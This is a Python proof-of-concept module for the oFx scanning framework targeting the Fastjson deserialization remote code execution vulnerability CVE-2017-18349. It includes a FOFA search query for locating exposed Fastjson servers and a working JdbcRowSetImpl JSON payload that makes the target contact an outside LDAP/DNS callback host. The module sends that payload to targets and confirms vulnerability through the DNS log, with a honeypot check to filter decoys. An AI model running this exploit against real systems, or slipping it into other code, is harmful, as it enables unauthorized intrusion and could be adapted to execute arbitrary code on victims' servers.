89 lines
3.3 KiB
Python
89 lines
3.3 KiB
Python
# coding:utf-8
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import requests
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from lib.core.common import url_handle,get_random_ua,get_ceye_dns,verify_ceye_dns
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from lib.core.poc import POCBase
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# ...
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import urllib3
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urllib3.disable_warnings()
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class POC(POCBase):
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_info = {
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"author" : "jijue", # POC作者
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"version" : "1", # POC版本，默认是1
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"CreateDate" : "2021-06-09", # POC创建时间
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"UpdateDate" : "2021-06-09", # POC创建时间
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"PocDesc" : """
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组件类的漏洞并不适合直接拿到oFx里批量扫，失败是可以预见的事情，笔者建议的是在渗透过程中将可疑的url拿来测试
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""", # POC描述，写更新描述，没有就不写
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"name" : "Fastjson 反序列化远程代码执行漏洞（CVE-2017-18349）", # 漏洞名称
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"VulnID" : "CVE-2017-18349", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
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"AppName" : "Fastjson", # 漏洞应用名称
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"AppVersion" : "Fastjson <= 1.2.24", # 漏洞应用版本
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"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
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"VulnDesc" : """
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Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码
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""", # 漏洞简要描述
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"fofa-dork":"""
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app="Fastjson"
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""", # fofa搜索语句
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"example" : "", # 存在漏洞的演示url，写一个就可以了
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"exp_img" : "", # 先不管
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}
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def _verify(self):
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"""
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返回vuln
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存在漏洞：vuln = [True,html_source] # html_source就是页面源码
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不存在漏洞：vuln = [False,""]
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"""
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vuln = [False,""]
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url = self.target + "" # url自己按需调整
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success,dns_flag = get_ceye_dns()
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if success == False:
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return [False,dns_flag]
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data = '''
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{
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"b": {
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"@type": "com.sun.rowset.JdbcRowSetImpl",
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"dataSourceName": "ldap://%s/",
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"autoCommit": true
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}
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}
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''' % (dns_flag)
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headers = {"User-Agent":get_random_ua(),
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"Connection":"close",
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# "Content-Type": "application/json",
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}
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try:
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"""
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检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
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"""
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req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
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flager = verify_ceye_dns(dns_flag)
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if flager == True:
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vuln = [True,dns_flag]
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elif flager == False:
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vuln = [False,dns_flag]
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else:
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vuln = [False,flager]
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except Exception as e:
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raise e
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# 以下逻辑酌情使用
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if self._honeypot_check(vuln[1]) == True:
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vuln[0] = False
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return vuln
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def _attack(self):
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return self._verify() |